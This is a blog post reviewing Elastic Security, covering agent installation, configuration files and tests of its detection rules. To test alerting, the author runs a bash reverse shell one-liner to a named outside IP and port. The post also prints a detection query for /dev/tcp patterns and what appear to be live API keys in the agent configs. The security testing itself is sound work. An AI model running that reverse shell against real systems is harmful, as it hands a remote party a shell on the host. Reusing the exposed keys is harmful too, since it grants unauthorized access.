Elastic SIEM Review
Who doesn't know Elastic stack? Elasticsearch, logstash, kibana is almost the golden standard for DIY logging solution. They are free, scalable, and have good visualisation. Recently, they expand their games to Cyber Security field with their brand new SIEM solution (or now called Elastic Security). Are they good enough to be used for your organization? In this post, I will try out their features and give personal verdicts on their current state.

Setting up the Environment

Deploying the Elastic Stack

First, let's spin up an elastic stack. To avoid wasting time on setting up the stack deployment, I decided to spin up the cloud version on https://cloud.elastic.co/. Setting up is very easy, the UI is beautiful and the experience is good.
After clicking a few buttons, they will automatically setup our elastic cluster on the chosen cloud provider (in my case, I choose Google Cloud). They spin up 5 instances across cloud zone: 3 Elasticsearch instances, 2 Kibana instances.
Upon clicking the "Edit" menu on the sidebar, we will be faced with a beautiful page for configuring our deployments. There are many settings we can change.
  • They allow us to modify the Elasticsearch instance size, starting from as low as 30 GB storage | 1 GB RAM | Up to 2.5 vCPU in hot data tier to something as high as 3000 TB storage | 1.88 TB RAM | 240 vCPU in frozen data tier. We can also set the availability zone for each configuration.
  • In this page, we can also configure the hot / warm / cold / frozen Elasticsearch configuration.
  • Not only Elasticsearch, we can also configure deployment for Kibana, APM (App performance monitoring), and Enterprise Search (we don't care).
The experience of managing deployment this easily always make me wonder why companies are still hiring many TechOps.
Regarding data tier, usually people will separate their data into multiple tiers. Nodes in hot data-tier ingest and process frequently queried data, on the other hand, they want to maximize savings by archiving data on a frozen tier.

Deploying the Agent Node

Before we can view any valuable information, we need to provide data sources to be ingested to the Elasticsearch. For Elastic Security, there are 2 options: using traditional Beats (e.g. Filebeat, metricbeat) or using their beta Elastic Agent. For the sake of living-on-the-edge, I decided to use the elastic agent.
I deploy a virtual machine using virtualbox with 2 vCPU and 500GB RAM (which I regret later, since it's too small and freeze a lot!)
1
Vagrant.configure("2") do |config|
2
config.vm.define "agent-01" do |c|
3
c.vm.box = "ubuntu/bionic64"
4
c.vm.hostname = "agent-01"
5
c.vm.provider "virtualbox" do |v|
6
v.memory = 512
7
end
8
end
9
end
Copied!

Trying out the Elastic SIEM

Elastic Security integrates the free and open Elastic SIEM with Endpoint Security to prevent, detect, and respond to threats. To begin, you’ll need to add security solution related data to the Elastic Stack.
Let's open our Kibana and select Elastic Security on the sidebar. Upon opening the Elastic Security page, it's still empty and we are required to add security-related data. There are 3 options: (1) Elastic Agent, (2) Beats, (3) Endpoint Security; which somehow misleading since the "Endpoint Security" is one of the many Elastic Agent integration. So in the end, you only have 2 choices: Beats or Elastic Agent.
Clicking the Add data with Elastic Agent will redirect us to the tutorial page that provide step-by-step guides to enroll a server using their agent. One more thing to note is Fleet. Using Fleet, we can centrally manage the configuration of elastic agents, which seems to be the obvious choice if we want to easily manage agents at scale.

Quick Look on Elastic Agent

The Elastic Agent provides a simple, unified way to add monitoring for logs, metrics, and other types of data to your hosts. You no longer need to install multiple Beats and other agents, which makes it easier and faster to deploy policies across your infrastructure. For more information, read our announcement blog post
Installing Elastic Agent in our virtual machine is very simple, with several CLI commands:
1
curl -L -O https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-7.13.0-linux-x86_64.tar.gz
2
tar xzvf elastic-agent-7.13.0-linux-x86_64.tar.gz
3
cd elastic-agent-7.13.0-linux-x86_64
4
sudo ./elastic-agent install -f --url=<fleet_server_url> --enrollment-token=<enrollment_token>
Copied!
After installation, there are several things added:
  1. 1.
    We now have elastic-agent in our PATH.
  2. 2.
    Added a systemd service unit /etc/systemd/system/elastic-agent.service
  3. 3.
    Added directory /opt/Elastic/Agent.
1
[email protected]:/# elastic-agent -h
2
3
Usage:
4
elastic-agent [subcommand] [flags]
5
elastic-agent [command]
6
7
Available Commands:
8
enroll Enroll the Agent into Fleet
9
help Help about any command
10
inspect Shows configuration of the agent
11
install Install Elastic Agent permanently on this system
12
restart Restart the currently running Elastic Agent daemon
13
run Start the elastic-agent.
14
status Status returns the current status of the running Elastic Agent daemon.
15
uninstall Uninstall permanent Elastic Agent from this system
16
upgrade Upgrade the currently running Elastic Agent to the specified version
17
version Display the version of the elastic-agent.
18
watch Watch watches Elastic Agent for failures and initiates rollback.
19
20
Flags:
21
-c, --c string Configuration file, relative to path.config (default "elastic-agent.yml")
22
-d, --d string Enable certain debug selectors
23
-e, --e Log to stderr and disable syslog/file output
24
--environment environmentVar set environment being ran in (default default)
25
-h, --help help for elastic-agent
26
--path.config string Config path is the directory Agent looks for its config file (default "/opt/Elastic/Agent")
27
--path.home string Agent root path (default "/opt/Elastic/Agent")
28
--path.logs string Logs path contains Agent log output (default "/opt/Elastic/Agent")
29
-v, --v Log at INFO level
30
31
Use "elastic-agent [command] --help" for more information about a command.
Copied!
1
[email protected]:/proc/1022# cat /etc/systemd/system/elastic-agent.service
2
[Unit]
3
Description=Elastic Agent is a unified agent to observe, monitor and protect your system.
4
ConditionFileIsExecutable=/usr/bin/elastic-agent
5
6
[Service]
7
StartLimitInterval=5
8
StartLimitBurst=10
9
ExecStart=/usr/bin/elastic-agent
10
WorkingDirectory=/opt/Elastic/Agent
11
Restart=always
12
RestartSec=120
13
EnvironmentFile=-/etc/sysconfig/elastic-agent
14
15
[Install]
16
WantedBy=multi-user.target
Copied!
After installation, we can see that a directory appear on /opt/Elastic/Agent. This directory contains all the necessary files for the standalone Elastic Agent to run.
1
[email protected]:/opt/Elastic/Agent# tree -L 2
2
.
3
├── LICENSE.txt
4
├── NOTICE.txt
5
├── README.md
6
├── data
7
│ ├── agent.lock
8
│ ├── elastic-agent-054e22
9
│ └── tmp
10
├── elastic-agent -> data/elastic-agent-054e22/elastic-agent
11
├── elastic-agent-20210601100041
12
├── elastic-agent.reference.yml
13
├── elastic-agent.yml
14
├── elastic-agent.yml.2021-06-01T10-00-41.4274.bak
15
├── fleet.yml
16
└── fleet.yml.lock
17
18
3 directories, 11 files
Copied!
On the root of the directory, it contains the agent configuration elastic-agent.yml and fleet.yml. In our case, since we enable fleet, the elastic-agent.yml only contains information that fleet is enabled (their config is managed centrally by fleet). The fleet.yml contains the information of the agent and the fleet credentials.
elastic-agent.yml
1
fleet:
2
enabled: true
Copied!
fleet.yml
1
agent:
2
id: a9d563d7-ef96-498e-8842-e7efd522ee7a
3
logging.level: info
4
monitoring.http:
5
enabled: false
6
host: ""
7
port: 6791
8
fleet:
9
enabled: true
10
access_api_key: WFB3RXgza0JkS1RtTXJteHEtNFQ6eWQ1NlkxbENRaXlNVzdmYkdaZ01TQQ==
11
protocol: http
12
host: 384be2a909fd4dc6afdf54c3dd187a0a.fleet.asia-southeast1.gcp.elastic-cloud.com:443
13
hosts:
14
- <https://384be2a909fd4dc6afdf54c3dd187a0a.fleet.asia-southeast1.gcp.elastic-cloud.com:443>
15
timeout: 10m0s
16
reporting:
17
threshold: 10000
18
check_frequency_sec: 30
19
agent:
20
id: ""
Copied!
Next, inside data directory, it contains the current elastic-agent software running, which is elastic-agent-054e22. The elastic-agent executable at root path is symlink-ed to the executable in this directory.
We can also see that Elastic Agent uses portable softwares contained only within the directory. In downloads, we can see the downloaded tar archives. In install, we can see the portable filebeat and metricbeat software files.
1
[email protected]:/opt/Elastic/Agent/data/elastic-agent-054e22# tree . -L 2
2
.
3
├── downloads
4
│ ├── apm-server-7.13.0-linux-x86_64.tar.gz
5
│ ├── apm-server-7.13.0-linux-x86_64.tar.gz.asc
6
│ ├── apm-server-7.13.0-linux-x86_64.tar.gz.sha512
7
│ ├── endpoint-security-7.13.0-linux-x86_64.tar.gz
8
│ ├── endpoint-security-7.13.0-linux-x86_64.tar.gz.asc
9
│ ├── endpoint-security-7.13.0-linux-x86_64.tar.gz.sha512
10
│ ├── filebeat-7.13.0-linux-x86_64.tar.gz
11
│ ├── filebeat-7.13.0-linux-x86_64.tar.gz.asc
12
│ ├── filebeat-7.13.0-linux-x86_64.tar.gz.sha512
13
│ ├── fleet-server-7.13.0-linux-x86_64.tar.gz
14
│ ├── fleet-server-7.13.0-linux-x86_64.tar.gz.asc
15
│ ├── fleet-server-7.13.0-linux-x86_64.tar.gz.sha512
16
│ ├── heartbeat-7.13.0-linux-x86_64.tar.gz
17
│ ├── heartbeat-7.13.0-linux-x86_64.tar.gz.asc
18
│ ├── heartbeat-7.13.0-linux-x86_64.tar.gz.sha512
19
│ ├── metricbeat-7.13.0-linux-x86_64.tar.gz
20
│ ├── metricbeat-7.13.0-linux-x86_64.tar.gz.asc
21
│ └── metricbeat-7.13.0-linux-x86_64.tar.gz.sha512
22
├── elastic-agent
23
├── install
24
│ ├── filebeat-7.13.0-linux-x86_64
25
│ └── metricbeat-7.13.0-linux-x86_64
26
├── logs
27
│ ├── default
28
│ ├── elastic-agent-json.log-20210601100040
29
│ └── elastic-agent-json.log-20210601100041
30
├── run
31
│ └── default
32
└── state.yml
Copied!
1
[email protected]:/opt/Elastic/Agent/data/elastic-agent-054e22# tree install/ -L 2
2
install/
3
├── filebeat-7.13.0-linux-x86_64
4
│ ├── LICENSE.txt
5
│ ├── NOTICE.txt
6
│ ├── README.md
7
│ ├── fields.yml
8
│ ├── filebeat
9
│ ├── filebeat.reference.yml
10
│ ├── filebeat.yml
11
│ ├── kibana
12
│ ├── module
13
│ └── modules.d
14
└── metricbeat-7.13.0-linux-x86_64
15
├── LICENSE.txt
16
├── NOTICE.txt
17
├── README.md
18
├── fields.yml
19
├── kibana
20
├── metricbeat
21
├── metricbeat.reference.yml
22
├── metricbeat.yml
23
├── module
24
└── modules.d
Copied!
In the data/elastic-agent-054e22/state.yml, we can see the configuration from the Fleet.
state.yml
1
action:
2
action_id: policy:ecf33e60-c2b7-11eb-ab3c-d5c2ff2a71c3:2:1
3
action_type: POLICY_CHANGE
4
policy:
5
# ...
6
fleet:
7
hosts:
8
- https://xxx.fleet.asia-southeast1.gcp.elastic-cloud.com:443
9
id: ecf33e60-c2b7-11eb-ab3c-d5c2ff2a71c3
10
inputs:
11
# ...
12
- data_stream:
13
namespace: default
14
id: 0abaf67a-c3a0-4f0b-80c2-3effcac15d73
15
meta:
16
package:
17
name: auditd
18
version: 0.1.1
19
name: auditd-1
20
revision: 1
21
streams:
22
- data_stream:
23
dataset: auditd.log
24
type: logs
25
exclude_files:
26
- .gz$
27
id: logfile-auditd.log-0abaf67a-c3a0-4f0b-80c2-3effcac15d73
28
paths:
29
- /var/log/audit/audit.log*
30
processors:
31
- add_fields:
32
fields:
33
ecs.version: 1.9.0
34
target: ""
35
type: logfile
36
use_output: default
37
# ... more
38
outputs:
39
default:
40
api_key: XfwEx3kBdKTmMrmxvO4c:5p7xzh_DQ42-VcaKuEBeLQ
41
hosts:
42
- https://xxx.asia-southeast1.gcp.elastic-cloud.com:443
43
type: elasticsearch
44
revision: 2
Copied!
I enabled the auditd integration beforehand, so we can see that the auditd logs are collected as inputs in our agent policy. However, I see that auditd process is not running in my agent, which means that Elastic Agent does not concern itself in making sure that auditd is running. In my case, I need to run apt install auditd so this log exists: /var/log/audit/audit.log
Our agent visualised in the Kibana dashboard:
Note that in the dashboard, there are 2 actions available: unenroll, and assign new policy. Policy basically defines what configuration we want to apply to our agents. In our case, we apply Default policy to our agent-01.
Next, let's see what processes are running in our agent.
1
[email protected]:/opt/Elastic/Agent# service elastic-agent status
2
● elastic-agent.service - Elastic Agent is a unified agent to observe, monitor and protect your system.
3
Loaded: loaded (/etc/systemd/system/elastic-agent.service; enabled; vendor preset: enabled)
4
Active: active (running) since Tue 2021-06-01 10:53:56 UTC; 2h 7min ago
5
Main PID: 785 (elastic-agent)
6
Tasks: 49 (limit: 546)
7
CGroup: /system.slice/elastic-agent.service
8
├─ 785 /opt/Elastic/Agent/elastic-agent
9
├─1178 /opt/Elastic/Agent/data/elastic-agent-054e22/install/filebeat-7.13.0-linux-x86_64/filebeat -E setup.ilm.enabled=false -E setup.template.enabled=false -E management.mode=x-pack-fleet -E m
10
├─1265 /opt/Elastic/Agent/data/elastic-agent-054e22/install/metricbeat-7.13.0-linux-x86_64/metricbeat -E setup.ilm.enabled=false -E setup.template.enabled=false -E management.mode=x-pack-fleet
11
├─1343 /opt/Elastic/Agent/data/elastic-agent-054e22/install/filebeat-7.13.0-linux-x86_64/filebeat -E setup.ilm.enabled=false -E setup.template.enabled=false -E management.mode=x-pack-fleet -E m
12
└─1390 /opt/Elastic/Agent/data/elastic-agent-054e22/install/metricbeat-7.13.0-linux-x86_64/metricbeat -E setup.ilm.enabled=false -E setup.template.enabled=false -E management.mode=x-pack-fleet
Copied!
We see 5 processes: elastic-agent, filebeat, metricbeat, filebeat-monitor, metricbeat-monitor.

Enabling the Elastic Security Endpoint

When I am exploring the Elastic Security Dashboard, an (ads?) popup appears which ask me a question whether to enable a feature named Security Endpoints. Why not? I decided to test this feature. After following several forms to fill, the system replaced (or upgraded?) my agent from Elastic Agent to Elastic Endpoints. I'm not very sure about the process.
However, I noticed that command elastic-agent are no longer working in my agent.
1
[email protected]:/# elastic-agent
2
/usr/bin/elastic-agent: 2: exec: /opt/Elastic/Agent/elastic-agent: not found
3
4
[email protected]:/# ls -l /opt/Elastic/Agent
5
total 8464
6
-rw-r--r-- 1 root root 13675 Jun 1 10:00 LICENSE.txt
7
-rw-r--r-- 1 root root 8576604 Jun 1 10:00 NOTICE.txt
8
-rw-r--r-- 1 root root 863 Jun 1 10:00 README.md
9
drwxrwxr-x 4 root root 4096 Jun 1 10:00 data
10
-rw------- 1 root root 11397 Jun 1 10:53 elastic-agent-20210601100041
11
-rw------- 1 root root 139 Jun 1 10:51 elastic-agent-20210601105117
12
-rw------- 1 root root 139 Jun 1 10:51 elastic-agent-20210601105149
13
-rw------- 1 root root 10419 Jun 1 13:06 elastic-agent-20210601105357
14
-rw-r--r-- 1 root root 9020 Jun 1 10:00 elastic-agent.reference.yml
15
-rw------- 1 root root 1946 Jun 1 10:00 elastic-agent.yml
16
-rw------- 1 root root 9017 Jun 1 10:00 elastic-agent.yml.2021-06-01T10-00-41.4274.bak
17
-rw------- 1 root root 547 Jun 1 10:00 fleet.yml
18
-rw------- 1 root root 0 Jun 1 10:00 fleet.yml.lock
Copied!
I am not sure whether this is intentional or not. But I suspect this is not intentional, since this means the elastic-agent systemd service should fail when we restart the agent (which later I experience this to be the case, so disappointing!).
After installing the Endpoint Security integration, we found that our agent are sending additional events as shown below. Most of them are Process events. The rest are File events. These events collection can be configured from the dashboard. In case of Linux and Mac, only File, Process, and Network will be collected; the rest (such as Registry) are exclusive to Windows only.
In Windows and Mac, we can enable something called Malware Protection. Additionally, we can enable Ransomware Protection in Windows.
Now with these additional data sources, we are able to view Uncommon Process in the Hosts page. Not very useful for detecting intrusion, but at least it's working. How does this work?
Note that these uncommon processes will not appear in Detection tab, since by default there is no rules to match this list. I suppose this list of Uncommon processes are only for additional information when inspecting a host, basically they are query logs and do some aggregation and filtering.

Testing the Detection feature

One of the main feature of SIEM is its ability to generate alerts when malicious things happen. Let's test out the detection feature of this Elastic Security!

Let's try spawning reverse shell

Using this payload: bash -i >& /dev/tcp/157.230.255.84/1337 0>&1. After executing this command, we didn't see any alerts. We are able to see our bash exec process in the event list, but it didn't trigger any alert, which is disappointing.
The process event also trigger another network event network start with destination of our evil server. So sad that this does not generate alert.

Activating the Detection Rule

After being disappointed, I realised that I haven't activated any detection rules. So is this my fault? maybe, but I also blame them for not notifying me that I need to manually activate the detection rules beforehand!
OK enough complaining, so I try activating some Detection Rule, such as "Potential Reverse Shell Activity via Terminal".
We can see that this rule will query the index auditbeat-* and logs-endpoint.events.* with the following query:
1
process where event.type in ("start", "process_started") and
2
process.name in ("sh", "bash", "zsh", "dash", "zmodload") and
3
process.args:("*/dev/tcp/*", "*/dev/udp/*", "zsh/net/tcp", "zsh/net/udp")
Copied!
From quick glimpse on this query, our previous commands should be matched. Let's see...
After activating this rules, I wait for around 5 minutes, but no alerts are generated. I understood that the rule is set to be run every several minutes. However when I check in the dashboard, the rule said that it is already succeeded running with the last run is 58 seconds ago, leading me to another disappointment... If it's already running then why there is no alerts generated!?
After re-checking the generated events, my reverse shell process is not detected because the process.args value is only bash,-i. What?
Let's modify the detection rule a bit by adding matching -i in process.args, who really use the -i flag for a legitimate action anyway? But alas, we cannot modify the prebuilt rule, so let's just create a new one.
The form to create a new rule looks very good. We can run Preview results to quickly test our query. In the screenshot above, we can see that it match 14 events, which seems correct. Then, we need to define the rule name, description, severity and risk score. We can also define MITRE ATT&CK™ reference, which is nice for further analysis. Then, we can set how often this rules running (e.g. every 1 minute), and what action to be taken if threats detected (e.g. send email or webhook, though this is limited only for paid license).
After I activate this newly created rules, I wait for another 5 minutes. But still, there are no no alerts generated...
When I recheck, the rule is by default set to run every 5 minutes with additional 4 minutes look-back time. Because of this, our new rule did not generate any alerts (our past reverse shell are more than 10 minutes ago). We weren't sure if there is any way for backfilling, which is quite disappointing (again!).

Alerts are finally Generated

So I execute our reverse shell payload once again, and finally be happy to see alerts generated. It took around 5 minutes from our payload execution until the alerts generated.
I must admit that their UI is gorgeous, we can open analyzer to view related events and track process generation. For example, from this graph, we can easily see that this reverse shell is coming from a user logged in via sshd
Elastic also provide additional features for incident investigation, namely timeline (allow us to build timeline by querying some logs) and case (allow management to track this issue and connect it to other management system such as Jira).

Agent Resource Consumption

We tested this agent on a 500MB RAM virtual machine running in virtualbox. During testing, we see that our agent's RAM is always on almost maximum usage, most of them are eaten up by elastic-endpoint, filebeat, and metricbeat processes. As for CPU, by average around 2% of 2 vCPU is used.

Anomaly Detection using ML

Inside the Detections tab, there is a button that allow us to run several ML Jobs. Unfortunately, our we don't have any ML nodes to run those jobs in our Free trial. From a quick glance, this feature utilise the anomaly detection feature in Elastic. I think this feature is not very useful unless you have a very big log data and got a scalability issue: manual analysis has become out of hand. BTW, this feature is only available if have the paid license.

TODO: This post is WIP

Last modified 5mo ago